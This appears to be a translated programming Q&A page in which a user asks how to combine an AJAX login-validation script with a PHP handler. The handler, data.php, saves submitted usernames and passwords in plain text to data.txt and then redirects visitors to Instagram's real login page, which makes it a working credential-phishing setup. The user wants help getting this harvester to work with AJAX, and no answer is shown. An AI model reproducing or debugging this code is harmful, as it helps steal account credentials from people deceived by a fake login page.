javascript - 如何合并 2 个 php 文件,这些文件在 html 中作为表单的 POST
问题描述
我有一个表单,它有一个 data.php 文件,表单将其数据发送给它,这个 data.php 将表单上的信息存储在服务器上的 data.txt 文件中,但最近我试图让这个表单与一些 ajax java 脚本代码和此代码有自己的 POST php 文件“check-login.php”,它检查用户名或密码是否为空或已填充,如果为空则返回一些错误
我尝试混合这 2 个 php 文件,但它不起作用,我尝试将 check-login.php 作为第一个 POST 文件,完成后服务器使用第二个 POST 文件,即 data.php
const form = {
username: document.getElementById('username'),
password: document.getElementById('password'),
submit: document.getElementById('btn-submit'),
messages: document.getElementById('form-messages')
};
form.submit.addEventListener('click', () => {
const request = new XMLHttpRequest();
request.onload = () => {
let responseObject = null;
try {
responseObject = JSON.parse(request.responseText);
} catch (e) {
console.error('Could not parse JSON!');
}
if (responseObject) {
handleResponse(responseObject);
}
};
const requestData = `username=${form.username.value}&password=${form.password.value}`;
request.open('post', 'check-login.php');
request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
request.send(requestData);
});
function handleResponse(responseObject) {
if (responseObject.ok) {
location.href = 'dashboard.html';
} else {
while (form.messages.firstChild) {
form.messages.removeChild(form.messages.firstChild);
}
responseObject.messages.forEach((message) => {
const li = document.createElement('li');
li.textContent = message;
form.messages.appendChild(li);
});
form.messages.style.display = "block";
}
}
数据.php
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$fp = fopen("data.txt", "a"); // a is apendix
$savestring = "Email Address: " . $username . "\n" . "Password: " . $password . "\n";
fwrite($fp, $savestring);
fclose($fp);
header('location:https://www.instagram.com/accounts/login/?source=auth_switcher');
?>
检查登录.php
<?php
$username = isset($_POST['username']) ? $_POST['username'] : '';
$password = isset($_POST['password']) ? $_POST['password'] : '';
$ok = true;
$messages = array();
if (!isset($username) || empty($username)) {
$ok = false;
$messages[] = 'Username cannot be empty!';
}
if (!isset($password) || empty($password)) {
$ok = false;
$messages[] = 'Password cannot be empty!';
}
echo json_encode(
array(
'ok' => $ok,
'messages' => $messages
)
);
?>
解决方案
推荐阅读
- javascript - 页面关闭后网站如何显示通知?
- r - 如何根据属性分配分组?
- c# - 如何在 C# 中将字符串转换为字符串数组?
- reactjs - 如何解决注册功能中的“无效视图”错误?
- angular - Angular 8 App Design - 通用对象和大型计算功能
- java - 如果在资源管理器中打开,非空目录并不总是被删除
- python - python中scapy汇总函数的问题
- python - 如何将 Python Concurrent Futures 与装饰器一起使用
- c# - Moq 没有在继承树中调用正确的方法
- formatting - 将二进制数据/数字转换为易于记忆的格式